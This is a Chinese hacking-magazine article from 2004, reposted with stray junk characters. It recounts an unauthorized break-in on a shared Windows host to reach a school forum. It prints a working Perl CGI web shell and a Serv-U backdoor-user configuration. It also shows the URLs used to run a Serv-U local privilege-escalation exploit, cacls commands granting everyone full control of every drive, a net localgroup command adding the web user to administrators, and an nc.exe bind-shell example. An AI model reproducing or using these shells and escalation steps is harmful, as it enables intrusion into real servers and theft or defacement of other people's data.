剑走偏锋——灵巧的旁注攻击
& u8 K" I; ~ w4 Z5 Q本文作者:angel, \7 X2 o! j1 J6 [! F3 H
文章性质:原创
1 C& v! w3 D" G( k; L0 h发布日期:2004-11-09
: j. V% z2 ]* _' w$ w注意:
2 [5 O+ F' }" p" s" j" Y R+ o1 h本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。+ N$ P9 j5 [5 L+ Q, ]$ Z) Z
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
X) c' F/ }$ F! q# H, L; M. M( E9 W& I; M/ U* X
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ) E' V0 z9 W- I
7 h. e' z$ h6 T7 s G 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ; V; R. Q+ J# W9 A5 r
) h4 j! `5 B1 i% b
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 " }( Z7 l% m; X; W0 |* `; ^1 z
: N: D) m2 M; h0 j& @
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ) N, } q& {+ b9 [8 Z) ?
$ M5 J$ t. j0 d8 D) S
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 6 Q8 b3 |6 E( r* J% L4 S% r
9 J% B7 {6 S( f5 O 没有目的的跳转目录着…… 6 U$ e& \9 r l9 ?; ]1 j
0 V/ t4 _& [2 k! T( i7 w. L 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… $ }6 |; h C* u% K) I( U! R1 b
) w7 y7 Z e$ {3 z: L6 | ]+ I# { 结束了吗?不,我试着 FTP 一下: ! E9 s9 U! Z' B7 P- U$ m) v
& L* `9 r+ W3 a2 P" v% n2 R% U' N" CMicrosoft Windows 2000 [Version 5.00.2195]
6 V% w! Q) E$ P, x(C) 版权所有 1985-2000 Microsoft Corp. : u' b* ?9 |/ ]
2 e! E7 J! f0 s2 R5 y
C:\Documents and Settings\Administrator>ftp www.school.com
: N7 [& C* A" M3 y. L AConnected to www. school.com. 0 r$ F, c }. B3 d3 J
220 Welcome to FTP Server...
1 y* M ]6 [% t7 z2 T5 n5 ZUser (www.bjtrq.com:(none)):
8 `& q3 i: Y7 ?8 D331 User name okay, need password. 5 P8 e6 U, @6 B. Y% j
Password:
5 ]2 ~% m, [3 D530 Not logged in. b; R! Q- B( C1 E$ q {
Login failed. 9 o. j1 a1 j1 x( _2 d
ftp> bye 8 I2 z9 [/ R6 y! h- i, O
221 Goodbye!
! D) S# }3 W# _3 j 6 z8 k7 Z# s1 F
3 I7 f0 I& Z% D& Z# {9 ^: q& k1 } 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 7 W, t; e/ E+ d, t' K% Y2 { R- \1 s
+ _$ i& U# Z6 J% V0 x1 Q
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
8 p, W( Y1 F- f% C7 q: r
/ |' Z# M. z: \9 V6 g9 a: s4 \3 z1 NApplication Data
3 R% o! Z! m1 z- H" Q6 UDocuments/ U5 m, `+ r7 n1 Q: T5 ]
DRM
2 D. D; M2 m8 ~* c1 k/ m: XFavorites& y7 n5 P# ?* R
Templates) `+ s# ?6 k! _3 ?
「开始」菜单$ [$ W5 V8 u/ y: \5 r7 p4 k
桌面$ H" b; j! w: F- Q+ Z5 p( @
9 P, y [. Z* r% s
* q! q/ [9 w9 y0 C6 \5 E
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
* J+ R0 {% O b V9 i& `! \6 k
" a8 ~' q9 |6 I, vActiveState ActivePerl 5.8
" V, L6 J. Y) B1 x$ WAdministrative Tools
8 p3 n4 U z" KDeerfield.com6 k3 \# \/ _( E6 W
DTemp! x" O6 V$ u! R6 w' f
IPSentry
; ]6 ], A6 s1 G) w3 N3 a0 D( r8 QMBM 5
' [9 f: n9 X& xNetMeter- p9 o5 [2 J3 B
Network ICE8 O! P: P; N& o l
Persits Software AspEmail; r5 N/ H1 ?8 g2 y1 u2 S2 L
Persits Software AspJpeg" I2 k U0 X7 U4 m/ O. V8 l
Serv-U FTP Server
a4 p6 S9 n, j, l8 e' w) uSymantec Client Security
5 f9 |# F+ {/ Z+ z: t; C2 B6 P: iWindows 优化大师
3 |, Y, }( k. QWinRAR- g, T4 P7 ?* z+ L& ~% O: h9 l
启动
9 X* H' p$ X& v( t7 N" t管理工具
8 v0 @6 l4 d6 u附件* m! `3 B# G1 s& V9 d+ p
, Y% W8 l& @# z4 V# A$ u& [# @3 z
' M; d. O1 M' `0 Y- C C* x! q
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 8 C( U2 j3 ?! @& m
/ z$ q( _0 \0 _! N( D% ~; E% J 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
) ?* E# N* J5 W q
9 c- [; j& D8 c8 Y' G8 BUser281=angel|1|0 2 S3 S% A7 D2 d$ S
( g" }3 {+ J( N/ g( c& D. M
1 _5 H K: L5 S$ X6 a0 G [ 然后加上 6 k! J* P" Q$ ~
. N7 _% O- c% \: G ?: z[USER=angel|1]
" U* ` Z# a& k6 sPassword=ng98F85379EA68DBF97BAADCA99B69B805
% W! S* n7 p3 i: k% u$ wHomeDir=D:\websites' Z- N5 M5 o: x' `4 P
RelPaths=1
8 Q0 m2 V+ F# H* a$ mTimeOut=600; ~6 L. g$ P0 A+ R
Maintenance=System
+ @6 l3 \" ^3 M, eAccess1=D:\websites|RWAMELCDP
9 X9 m5 `0 \, B4 C# y, fSKEYValues=. j2 H& P# c' \: T4 X3 A
4 x4 m2 ~1 j9 U- s: r* z
* Y7 d0 ^( r; a* o$ T+ M 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
4 J8 N( `* t' U, n; ^# i. {
; E" @: L9 Z- y8 G$ y/ r/ H& r$ M 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 2 V) p; s! H8 J$ P: q% H5 X
. ?$ u, r2 h* `$ q
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
5 p+ s) Y4 B$ V: u k
4 T- @4 i, p) l. T2 d 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ( v" u0 ^- D7 k1 S9 j7 R8 _
4 e# s! h; G0 p$ d' o
#!/usr/bin/perl6 p& x* y$ s! k7 w1 s
binmode(STDOUT);
1 e* K' h+ {4 A1 v; c8 S; esyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
, C, D% W: A9 ~3 U% Q( c$_ = $ENV{QUERY_STRING};2 l$ z5 c7 p8 O. v
s/%20/ /ig;
0 o6 u f0 r( X2 Ps/%2f/\//ig;8 K8 \5 \/ N1 R: ?/ Z6 r$ E- f- n
$execthis = $_;
1 q& h9 a. P' r n* J$ hsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);- T f+ f6 J# w
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";3 U. k0 S: Y0 h
system($execthis);# d+ h& O: N7 Z0 @
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);: t4 Y6 W& V7 E# C. k2 \! c6 B: N
close(STDERR);1 |9 F$ J) W6 T# L" A
close(STDOUT);
X( U, B9 J) O$ M. s/ rexit;
# f0 P9 \% C2 L2 }6 L @
% W2 m( }! V ^4 j- W
4 U0 ` D' d: s* `3 X 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! * |8 l4 P* w$ ~: o
5 k+ m3 E& s: F& R$ W
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
7 R# \2 c8 a) A+ ?: f* w2 @7 y! ], l8 h
http://anyhost//cmd.pl?d:\user\bin\su.exe
) V6 S0 z- D* ~& w; ? . R* i( R; v+ J: q
$ o0 ]" D" i& Y4 S% p9 e' `
返回:
( N8 J$ b1 W M( X2 w. M* C+ [4 V5 n" u& G$ L. t
Serv-u >3.x Local Exploit by xiaolu - e- W o( J7 M0 d
% N3 e6 f! v6 R! H" G. `" j! jUSAGE: serv-u.exe "command"
8 `4 t* q/ f g0 n4 N
* ~3 U& d r. d/ ~. t t/ X/ rExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
+ l3 q* \ J: O% T1 b7 _
$ \3 X" j' Z! e/ u0 [
. N( E) q6 } g: \* ^! f/ a! i/ @ 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: * e2 o3 _& b( B
s/ ]2 R5 g5 d) E6 C( L
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
' _9 c" V) L$ o7 `9 N6 k0 ~9 S
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 3 v! f, F) D* K) z7 Y- _
# {7 |( b) K# M6 _9 Q. P% Rhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" , {4 a/ Q2 x2 r! n! }* r
' ]5 L8 R/ t5 S1 e) L& {http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" $ Q. U0 ]4 V! S J2 _
$ d, r4 n2 U+ c
% B% Z, i; `& G/ ]8 G' _
返回下面的信息,就表示成功了!!!
: [: A! Y9 X/ i% e
1 U4 V5 T* J% @9 s; O8 ~Serv-u >3.x Local Exploit by xiaolu 3 k' `- _1 Y3 f& K
) P8 r+ i: t! \! u C
<220 Serv-U FTP Server v5.2 for WinSock ready... ) q$ z6 E1 d; w' O
/ K5 I0 F2 {. }! l7 @+ x. ^9 E! y
>USER LocalAdministrator
1 [9 ^) @% l# I* @' n: l$ d7 q \( p, K. |# X5 F
<331 User name okay, need password. 2 X9 l1 Z) `9 \
+ B/ k8 Q/ |0 s( D2 ]
****************************************************** % p/ D0 \% W3 s, u
' B- ~ k7 |4 a+ A$ q' R8 H3 ^
>PASS #l@$ak#.lk;0@P
( r# _! o! V3 e/ G
1 |, o( U s' i5 k6 ~) Y$ ^( z<230 User logged in, proceed.
$ Y+ ]. |4 [ g* s% e+ ]0 a( Y } v# d1 G+ A/ H2 v u" a, w' s
****************************************************** ; b' _1 } [( n4 R; @
% [# n0 C) J* w2 m% F0 Z>SITE MAINTENANCE
0 L% n) E6 Z9 Z! `7 e0 b
( t' s4 m3 W' _# }/ o- c****************************************************** 1 O- ]9 n) F! i/ m1 V
+ B8 z8 R: `' u0 D9 o" V, |[+] Creating New Domain... $ G7 p1 \3 _/ Z$ B0 |3 `
, ?- `* a3 x; Y. V
<200-DomainID=2 ; C! r( U8 M6 g. _% m
! J+ Q2 F G* X: s! m8 R# E' e( @<220 Domain settings saved ( F3 G: f3 O& J6 J7 w
1 T6 y1 |& K5 I4 m( C
****************************************************** y7 J! i/ }: I" i5 t# I/ D" S6 H
$ @4 z1 ~8 G! E% o[+] Domain xl:2 Created
" G7 G3 h( ^) P5 q1 q+ j
! `/ |& m; y9 r+ I+ r" T[+] Creating Evil User ( \4 c" q4 @2 n% p; O
) n/ C s5 E2 u( A2 b4 j. L
<200-User=xl
$ D- \ c& n& a0 N5 h/ ^# K3 c: Y
200 User settings saved ) A4 C" R/ }! L4 B+ W
; J+ M( }9 U! d9 d8 z+ s******************************************************
. l# x6 |; e: _6 L; d( _4 m5 B) B9 o3 L* }2 L1 {+ {: \
[+] Now Exploiting...
^0 J8 J9 W# k! w# `4 S$ `, ^: u1 c" Q4 [" G+ Q- x: I/ ]- W C
>USER xl % E# m! D5 D/ Z2 Z F% w* N1 [
2 H! j% m7 o( z6 p' Y# Q<331 User name okay, need password. 3 Z( X$ e6 d$ s2 d
/ ^. O" F$ K2 m, w( q: e( I m******************************************************
6 }, p9 K* F$ @! C8 ?+ [. K6 F7 t- _# t
>PASS 111111
0 z+ W" i8 n, h D8 d4 O
6 J2 g2 `- B$ j<230 User logged in, proceed. * s7 e& C# |: ~ o( r* y
. n: |( `, n3 n- @
******************************************************
4 J& v) ], `+ X% h, a. S
( \' u! [' K* T2 f[+] Now Executing: cacls.exe c: /E /T /G everyone:F
; h ?+ V& J% A4 }% ^3 c; {2 ~5 W
: e' a V5 p4 a8 c' k/ P' O! q- H# A<220 Domain deleted % g3 Y5 M0 }) R' n# z
8 V' A3 T9 U. [3 \+ E1 E
******************************************************
# g! O! S2 d# m5 i
% Z# |; |. B1 d9 m
/ W! k% M/ q- z7 L" T2 M1 M) [3 I 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
! }5 d9 k9 E; _0 v4 V3 `
! B7 ^ _5 s( H" R5 Whttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" % N, E) o, Y( O4 b& ~
7 d F" A$ f5 }4 }5 C1 F+ n9 @* b8 D! G$ D+ B* l4 Z
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
, U' }4 B) w/ }) t" k1 A4 N# |6 Y* ~, i
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。/ }: S1 A7 _4 t" @
+ `9 q! |: L/ `3 u7 l$ p5 { 7 X l) h1 @0 Q$ i5 x) \ r6 z
|